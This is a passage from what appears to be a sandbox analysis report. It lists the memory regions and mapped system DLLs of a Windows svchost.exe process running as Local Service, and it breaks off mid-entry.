	cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Local Service"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xa], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\icssvc" [0xa], "NT SERVICE\\lmhosts" [0xe], "NT SERVICE\\NgcCtnrSvc" [0xa], "NT SERVICE\\vmictimesync" [0xa], "NT SERVICE\\Wcmsvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b105" [0xc000000f], "LOCAL" [0x7]

Region:
	              id = 2093
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2094
	        start_va = 0xaf67cb0000
	          end_va = 0xaf67cbffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000af67cb0000"
	        filename = ""

Region:
	              id = 2095
	        start_va = 0xaf67cc0000
	          end_va = 0xaf67cc0fff
	     entry_point = 0xaf67cc0000
	     region_type = mapped_file
	            name = "svchost.exe.mui"
	        filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui")

Region:
	              id = 2096
	        start_va = 0xaf67cd0000
	          end_va = 0xaf67ce3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000af67cd0000"
	        filename = ""

Region:
	              id = 2097
	        start_va = 0xaf67cf0000
	          end_va = 0xaf67d6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af67cf0000"
	        filename = ""

Region:
	              id = 2098
	        start_va = 0xaf67d70000
	          end_va = 0xaf67d73fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000af67d70000"
	        filename = ""

Region:
	              id = 2099
	        start_va = 0xaf67d80000
	          end_va = 0xaf67d80fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000af67d80000"
	        filename = ""

Region:
	              id = 2100
	        start_va = 0xaf67d90000
	          end_va = 0xaf67d91fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af67d90000"
	        filename = ""

Region:
	              id = 2101
	        start_va = 0xaf67da0000
	          end_va = 0xaf67e5dfff
	     entry_point = 0xaf67da0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2102
	        start_va = 0xaf67e60000
	          end_va = 0xaf67e60fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af67e60000"
	        filename = ""

Region:
	              id = 2103
	        start_va = 0xaf67e70000
	          end_va = 0xaf67e76fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af67e70000"
	        filename = ""

Region:
	              id = 2104
	        start_va = 0xaf67e80000
	          end_va = 0xaf67e80fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000af67e80000"
	        filename = ""

Region:
	              id = 2105
	        start_va = 0xaf67e90000
	          end_va = 0xaf67e90fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af67e90000"
	        filename = ""

Region:
	              id = 2106
	        start_va = 0xaf67f00000
	          end_va = 0xaf67ffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af67f00000"
	        filename = ""

Region:
	              id = 2107
	        start_va = 0xaf68000000
	          end_va = 0xaf68187fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000af68000000"
	        filename = ""

Region:
	              id = 2108
	        start_va = 0xaf68190000
	          end_va = 0xaf68196fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af68190000"
	        filename = ""

Region:
	              id = 2109
	        start_va = 0xaf681a0000
	          end_va = 0xaf681a0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af681a0000"
	        filename = ""

Region:
	              id = 2110
	        start_va = 0xaf681b0000
	          end_va = 0xaf681cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af681b0000"
	        filename = ""

Region:
	              id = 2111
	        start_va = 0xaf681d0000
	          end_va = 0xaf681effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af681d0000"
	        filename = ""

Region:
	              id = 2112
	        start_va = 0xaf681f0000
	          end_va = 0xaf681f4fff
	     entry_point = 0xaf681f0000
	     region_type = mapped_file
	            name = "pcaevts.dll"
	        filename = "\\Windows\\System32\\pcaevts.dll" (normalized: "c:\\windows\\system32\\pcaevts.dll")

Region:
	              id = 2113
	        start_va = 0xaf68200000
	          end_va = 0xaf682fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af68200000"
	        filename = ""

Region:
	              id = 2114
	        start_va = 0xaf68300000
	          end_va = 0xaf68480fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000af68300000"
	        filename = ""

Region:
	              id = 2115
	        start_va = 0xaf68490000
	          end_va = 0xaf6854ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000af68490000"
	        filename = ""

Region:
	              id = 2116
	        start_va = 0xaf68650000
	          end_va = 0xaf686cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af68650000"
	        filename = ""

Region:
	              id = 2117
	        start_va = 0xaf686d0000
	          end_va = 0xaf686d0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000af686d0000"
	        filename = ""

Region:
	              id = 2118
	        start_va = 0xaf686e0000
	          end_va = 0xaf686e0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000af686e0000"
	        filename = ""

Region:
	              id = 2119
	        start_va = 0xaf686f0000
	          end_va = 0xaf686f0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af686f0000"
	        filename = ""

Region:
	              id = 2120
	        start_va = 0xaf68700000
	          end_va = 0xaf68700fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af68700000"
	        filename = ""

Region:
	              id = 2121
	        start_va = 0xaf68710000
	          end_va = 0xaf68710fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000af68710000"
	        filename = ""

Region:
	              id = 2122
	        start_va = 0xaf68720000
	          end_va = 0xaf6881ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af68720000"
	        filename = ""

Region:
	              id = 2123
	        start_va = 0xaf68850000
	          end_va = 0xaf6894ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af68850000"
	        filename = ""

Region:
	              id = 2124
	        start_va = 0xaf68950000
	          end_va = 0xaf689b4fff
	     entry_point = 0xaf68950000
	     region_type = mapped_file
	            name = "wevtapi.dll"
	        filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll")

Region:
	              id = 2125
	        start_va = 0xaf689c0000
	          end_va = 0xaf689dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af689c0000"
	        filename = ""

Region:
	              id = 2126
	        start_va = 0xaf689f0000
	          end_va = 0xaf689f6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af689f0000"
	        filename = ""

Region:
	              id = 2127
	        start_va = 0xaf68a00000
	          end_va = 0xaf68afffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af68a00000"
	        filename = ""

Region:
	              id = 2128
	        start_va = 0xaf68b00000
	          end_va = 0xaf68b7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af68b00000"
	        filename = ""

Region:
	              id = 2129
	        start_va = 0xaf68b80000
	          end_va = 0xaf68bfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af68b80000"
	        filename = ""

Region:
	              id = 2130
	        start_va = 0xaf68c00000
	          end_va = 0xaf68c7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af68c00000"
	        filename = ""

Region:
	              id = 2131
	        start_va = 0xaf68c80000
	          end_va = 0xaf68cfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af68c80000"
	        filename = ""

Region:
	              id = 2132
	        start_va = 0xaf68d00000
	          end_va = 0xaf68d7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af68d00000"
	        filename = ""

Region:
	              id = 2133
	        start_va = 0xaf68d80000
	          end_va = 0xaf68dfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af68d80000"
	        filename = ""

Region:
	              id = 2134
	        start_va = 0xaf68e00000
	          end_va = 0xaf68efffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af68e00000"
	        filename = ""

Region:
	              id = 2135
	        start_va = 0xaf68f00000
	          end_va = 0xaf68ffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af68f00000"
	        filename = ""

Region:
	              id = 2136
	        start_va = 0xaf69000000
	          end_va = 0xaf690fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af69000000"
	        filename = ""

Region:
	              id = 2137
	        start_va = 0xaf69100000
	          end_va = 0xaf6916ffff
	     entry_point = 0xaf69100000
	     region_type = mapped_file
	            name = "services.exe"
	        filename = "\\Windows\\System32\\services.exe" (normalized: "c:\\windows\\system32\\services.exe")

Region:
	              id = 2138
	        start_va = 0xaf69170000
	          end_va = 0xaf691effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af69170000"
	        filename = ""

Region:
	              id = 2139
	        start_va = 0xaf69200000
	          end_va = 0xaf692fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af69200000"
	        filename = ""

Region:
	              id = 2140
	        start_va = 0xaf69300000
	          end_va = 0xaf69636fff
	     entry_point = 0xaf69300000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2141
	        start_va = 0xaf69640000
	          end_va = 0xaf6973ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af69640000"
	        filename = ""

Region:
	              id = 2142
	        start_va = 0xaf69740000
	          end_va = 0xaf6983ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af69740000"
	        filename = ""

Region:
	              id = 2143
	        start_va = 0xaf69840000
	          end_va = 0xaf6993ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af69840000"
	        filename = ""

Region:
	              id = 2144
	        start_va = 0xaf69940000
	          end_va = 0xaf69a3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af69940000"
	        filename = ""

Region:
	              id = 2145
	        start_va = 0xaf69a40000
	          end_va = 0xaf69b3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af69a40000"
	        filename = ""

Region:
	              id = 2146
	        start_va = 0xaf69b40000
	          end_va = 0xaf69bd2fff
	     entry_point = 0xaf69b40000
	     region_type = mapped_file
	            name = "winlogon.exe"
	        filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe")

Region:
	              id = 2147
	        start_va = 0xaf69c00000
	          end_va = 0xaf69cfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af69c00000"
	        filename = ""

Region:
	              id = 2148
	        start_va = 0xaf69d00000
	          end_va = 0xaf69dfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af69d00000"
	        filename = ""

Region:
	              id = 2149
	        start_va = 0xaf69e00000
	          end_va = 0xaf69efffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af69e00000"
	        filename = ""

Region:
	              id = 2150
	        start_va = 0xaf69f00000
	          end_va = 0xaf69ffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af69f00000"
	        filename = ""

Region:
	              id = 2151
	        start_va = 0xaf6a000000
	          end_va = 0xaf6a0fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af6a000000"
	        filename = ""

Region:
	              id = 2152
	        start_va = 0xaf6a100000
	          end_va = 0xaf6a1fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af6a100000"
	        filename = ""

Region:
	              id = 2153
	        start_va = 0xaf6a200000
	          end_va = 0xaf6a2fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af6a200000"
	        filename = ""

Region:
	              id = 2154
	        start_va = 0xaf6a300000
	          end_va = 0xaf6a3fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af6a300000"
	        filename = ""

Region:
	              id = 2155
	        start_va = 0xaf6a500000
	          end_va = 0xaf6a5fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af6a500000"
	        filename = ""

Region:
	              id = 2156
	        start_va = 0xaf6a680000
	          end_va = 0xaf6a77ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af6a680000"
	        filename = ""

Region:
	              id = 2157
	        start_va = 0xaf6a780000
	          end_va = 0xaf6a7fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af6a780000"
	        filename = ""

Region:
	              id = 2158
	        start_va = 0xaf6a800000
	          end_va = 0xaf6a8fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af6a800000"
	        filename = ""

Region:
	              id = 2159
	        start_va = 0xaf6a900000
	          end_va = 0xaf6a9fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af6a900000"
	        filename = ""

Region:
	              id = 2160
	        start_va = 0xaf6ab00000
	          end_va = 0xaf6abfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af6ab00000"
	        filename = ""

Region:
	              id = 2161
	        start_va = 0xaf6ac00000
	          end_va = 0xaf6acfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af6ac00000"
	        filename = ""

Region:
	              id = 2162
	        start_va = 0xaf6ad00000
	          end_va = 0xaf6adfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af6ad00000"
	        filename = ""

Region:
	              id = 2163
	        start_va = 0xaf6ae00000
	          end_va = 0xaf6aefffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000af6ae00000"
	        filename = ""

Region:
	              id = 2164
	        start_va = 0x7df5ff100000
	          end_va = 0x7ff5ff0fffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ff100000"
	        filename = ""

Region:
	              id = 2165
	        start_va = 0x7ff7b3314000
	          end_va = 0x7ff7b3315fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3314000"
	        filename = ""

Region:
	              id = 2166
	        start_va = 0x7ff7b3316000
	          end_va = 0x7ff7b3317fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3316000"
	        filename = ""

Region:
	              id = 2167
	        start_va = 0x7ff7b3318000
	          end_va = 0x7ff7b3319fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3318000"
	        filename = ""

Region:
	              id = 2168
	        start_va = 0x7ff7b331c000
	          end_va = 0x7ff7b331dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b331c000"
	        filename = ""

Region:
	              id = 2169
	        start_va = 0x7ff7b331e000
	          end_va = 0x7ff7b331ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b331e000"
	        filename = ""

Region:
	              id = 2170
	        start_va = 0x7ff7b3324000
	          end_va = 0x7ff7b3325fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3324000"
	        filename = ""

Region:
	              id = 2171
	        start_va = 0x7ff7b3326000
	          end_va = 0x7ff7b3327fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3326000"
	        filename = ""

Region:
	              id = 2172
	        start_va = 0x7ff7b3328000
	          end_va = 0x7ff7b3329fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3328000"
	        filename = ""

Region:
	              id = 2173
	        start_va = 0x7ff7b332a000
	          end_va = 0x7ff7b332bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b332a000"
	        filename = ""

Region:
	              id = 2174
	        start_va = 0x7ff7b332c000
	          end_va = 0x7ff7b332dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b332c000"
	        filename = ""

Region:
	              id = 2175
	        start_va = 0x7ff7b332e000
	          end_va = 0x7ff7b332ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b332e000"
	        filename = ""

Region:
	              id = 2176
	        start_va = 0x7ff7b3330000
	          end_va = 0x7ff7b3331fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3330000"
	        filename = ""

Region:
	              id = 2177
	        start_va = 0x7ff7b3332000
	          end_va = 0x7ff7b3333fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3332000"
	        filename = ""

Region:
	              id = 2178
	        start_va = 0x7ff7b3334000
	          end_va = 0x7ff7b3335fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3334000"
	        filename = ""

Region:
	              id = 2179
	        start_va = 0x7ff7b3336000
	          end_va = 0x7ff7b3337fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3336000"
	        filename = ""

Region:
	              id = 2180
	        start_va = 0x7ff7b3338000
	          end_va = 0x7ff7b3339fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3338000"
	        filename = ""

Region:
	              id = 2181
	        start_va = 0x7ff7b333a000
	          end_va = 0x7ff7b333bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b333a000"
	        filename = ""

Region:
	              id = 2182
	        start_va = 0x7ff7b333c000
	          end_va = 0x7ff7b333dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b333c000"
	        filename = ""

Region:
	              id = 2183
	        start_va = 0x7ff7b333e000
	          end_va = 0x7ff7b333ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b333e000"
	        filename = ""

Region:
	              id = 2184
	        start_va = 0x7ff7b3340000
	          end_va = 0x7ff7b343ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b3340000"
	        filename = ""

Region:
	              id = 2185
	        start_va = 0x7ff7b3440000
	          end_va = 0x7ff7b3462fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b3440000"
	        filename = ""

Region:
	              id = 2186
	        start_va = 0x7ff7b3463000
	          end_va = 0x7ff7b3464fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3463000"
	        filename = ""

Region:
	              id = 2187
	        start_va = 0x7ff7b3465000
	          end_va = 0x7ff7b3466fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3465000"
	        filename = ""

Region:
	              id = 2188
	        start_va = 0x7ff7b3467000
	          end_va = 0x7ff7b3468fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3467000"
	        filename = ""

Region:
	              id = 2189
	        start_va = 0x7ff7b3469000
	          end_va = 0x7ff7b346afff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3469000"
	        filename = ""

Region:
	              id = 2190
	        start_va = 0x7ff7b346d000
	          end_va = 0x7ff7b346dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b346d000"
	        filename = ""

Region:
	              id = 2191
	        start_va = 0x7ff7b346e000
	          end_va = 0x7ff7b346ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b346e000"
	        filename = ""

Region:
	              id = 2192
	        start_va = 0x7ff7b3dc0000
	          end_va = 0x7ff7b3dccfff
	     entry_point = 0x7ff7b3dc0000
	     region_type = mapped_file
	            name = "svchost.exe"
	        filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")

Region:
	              id = 2193
	        start_va = 0x7ffbea740000
	          end_va = 0x7ffbea8c9fff
	     entry_point = 0x7ffbea740000
	     region_type = mapped_file
	            name = "dbghelp.dll"
	        filename = "\\Windows\\System32\\dbghelp.dll" (normalized: "c:\\windows\\system32\\dbghelp.dll")

Region:
	              id = 2194
	        start_va = 0x7ffbea940000
	          end_va = 0x7ffbea96ffff
	     entry_point = 0x7ffbea940000
	     region_type = mapped_file
	            name = "wscsvc.dll"
	        filename = "\\Windows\\System32\\wscsvc.dll" (normalized: "c:\\windows\\system32\\wscsvc.dll")

Region:
	              id = 2195
	        start_va = 0x7ffbed340000
	          end_va = 0x7ffbed382fff
	     entry_point = 0x7ffbed340000
	     region_type = mapped_file
	            name = "deviceaccess.dll"
	        filename = "\\Windows\\System32\\deviceaccess.dll" (normalized: "c:\\windows\\system32\\deviceaccess.dll")

Region:
	              id = 2196
	        start_va = 0x7ffbf0930000
	          end_va = 0x7ffbf09b4fff
	     entry_point = 0x7ffbf0930000
	     region_type = mapped_file
	            name = "audioses.dll"
	        filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll")

Region:
	              id = 2197
	        start_va = 0x7ffbf6150000
	          end_va = 0x7ffbf6163fff
	     entry_point = 0x7ffbf6150000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")

Region:
	              id = 2198
	        start_va = 0x7ffbf6170000
	          end_va = 0x7ffbf6267fff
	     entry_point = 0x7ffbf6170000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")

Region:
	              id = 2199
	        start_va = 0x7ffbf64d0000
	          end_va = 0x7ffbf64e0fff
	     entry_point = 0x7ffbf64d0000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")

Region:
	              id = 2200
	        start_va = 0x7ffbfa160000
	          end_va = 0x7ffbfa1defff
	     entry_point = 0x7ffbfa160000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")

Region:
	              id = 2201
	        start_va = 0x7ffbfbb40000
	          end_va = 0x7ffbfbc15fff
	     entry_point = 0x7ffbfbb40000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 2202
	        start_va = 0x7ffbfcbc0000
	          end_va = 0x7ffbfccf0fff
	     entry_point = 0x7ffbfcbc0000
	     region_type = mapped_file
	            name = "wintypes.dll"
	        filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll")

Region:
	              id = 2203
	        start_va = 0x7ffbfcf40000
	          end_va = 0x7ffbfcf4dfff
	     entry_point = 0x7ffbfcf40000
	     region_type = mapped_file
	            name = "cmintegrator.dll"
	        filename = "\\Windows\\System32\\cmintegrator.dll" (normalized: "c:\\windows\\system32\\cmintegrator.dll")

Region:
	              id = 2204
	        start_va = 0x7ffbfcfa0000
	          end_va = 0x7ffbfcfb9fff
	     entry_point = 0x7ffbfcfa0000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 2205
	        start_va = 0x7ffbfcfc0000
	          end_va = 0x7ffbfcfd5fff
	     entry_point = 0x7ffbfcfc0000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 2206
	        start_va = 0x7ffbfcfe0000
	          end_va = 0x7ffbfd015fff
	     entry_point = 0x7ffbfcfe0000
	     region_type = mapped_file
	            name = "wcmcsp.dll"
	        filename = "\\Windows\\System32\\wcmcsp.dll" (normalized: "c:\\windows\\system32\\wcmcsp.dll")

Region:
	              id = 2207
	        start_va = 0x7ffbfd020000
	          end_va = 0x7ffbfd0b7fff
	     entry_point = 0x7ffbfd020000
	     region_type = mapped_file
	            name = "wcmsvc.dll"
	        filename = "\\Windows\\System32\\wcmsvc.dll" (normalized: "c:\\windows\\system32\\wcmsvc.dll")

Region:
	              id = 2208
	        start_va = 0x7ffbfd0c0000
	          end_va = 0x7ffbfd107fff
	     entry_point = 0x7ffbfd0c0000
	     region_type = mapped_file
	            name = "dhcpcore6.dll"
	        filename = "\\Windows\\System32\\dhcpcore6.dll" (normalized: "c:\\windows\\system32\\dhcpcore6.dll")

Region:
	              id = 2209
	        start_va = 0x7ffbfd110000
	          end_va = 0x7ffbfd16cfff
	     entry_point = 0x7ffbfd110000
	     region_type = mapped_file
	            name = "dhcpcore.dll"
	        filename = "\\Windows\\System32\\dhcpcore.dll" (normalized: "c:\\windows\\system32\\dhcpcore.dll")

Region:
	              id = 2210
	        start_va = 0x7ffbfd190000
	          end_va = 0x7ffbfd19afff
	     entry_point = 0x7ffbfd190000
	     region_type = mapped_file
	            name = "avrt.dll"
	        filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll")

Region:
	              id = 2211
	        start_va = 0x7ffbfd1a0000
	          end_va = 0x7ffbfd1a7fff
	     entry_point = 0x7ffbfd1a0000
	     region_type = mapped_file
	            name = "ksuser.dll"
	        filename = "\\Windows\\System32\\ksuser.dll" (normalized: "c:\\windows\\system32\\ksuser.dll")

Region:
	              id = 2212
	        start_va = 0x7ffbfd1b0000
	          end_va = 0x7ffbfd2c0fff
	     entry_point = 0x7ffbfd1b0000
	     region_type = mapped_file
	            name = "audiosrv.dll"
	        filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll")

Region:
	              id = 2213
	        start_va = 0x7ffbfd5b0000
	          end_va = 0x7ffbfd732fff
	     entry_point = 0x7ffbfd5b0000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")

Region:
	              id = 2214
	        start_va = 0x7ffbfd740000
	          end_va = 0x7ffbfd7b1fff
	     entry_point = 0x7ffbfd740000
	     region_type = mapped_file
	            name = "mmdevapi.dll"
	        filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll")

Region:
	              id = 2215
	        start_va = 0x7ffbfd810000
	          end_va = 0x7ffbfd820fff
	     entry_point = 0x7ffbfd810000
	     region_type = mapped_file
	            name = "wmiclnt.dll"
	        filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll")

Region:
	              id = 2216
	        start_va = 0x7ffbfdc20000
	          end_va = 0x7ffbfdc37fff
	     entry_point = 0x7ffbfdc20000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")

Region:
	              id = 2217
	        start_va = 0x7ffbfdf20000
	          end_va = 0x7ffbfe0cafff
	     entry_point = 0x7ffbfdf20000
	     region_type = mapped_file
	            name = "wevtsvc.dll"
	        filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll")

Region:
	              id = 2218
	        start_va = 0x7ffbfe0d0000
	          end_va = 0x7ffbfe0dafff
	     entry_point = 0x7ffbfe0d0000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 2219
	        start_va = 0x7ffbfe0e0000
	          end_va = 0x7ffbfe0e8fff
	     entry_point = 0x7ffbfe0e0000
	     region_type = mapped_file
	            name = "nrpsrv.dll"
	        filename = "\\Windows\\System32\\nrpsrv.dll" (normalized: "c:\\windows\\system32\\nrpsrv.dll")

Region:
	              id = 2220
	        start_va = 0x7ffbfe0f0000
	          end_va = 0x7ffbfe127fff
	     entry_point = 0x7ffbfe0f0000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 2221
	        start_va = 0x7ffbfe130000
	          end_va = 0x7ffbfe139fff
	     entry_point = 0x7ffbfe130000
	     region_type = mapped_file
	            name = "lmhsvc.dll"
	        filename = "\\Windows\\System32\\lmhsvc.dll" (normalized: "c:\\windows\\system32\\lmhsvc.dll")

Region:
	              id = 2222
	        start_va = 0x7ffbfe5c0000
	          end_va = 0x7ffbfe5d2fff
	     entry_point = 0x7ffbfe5c0000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 2223
	        start_va = 0x7ffbff210000
	          end_va = 0x7ffbff236fff
	     entry_point = 0x7ffbff210000
	     region_type = mapped_file
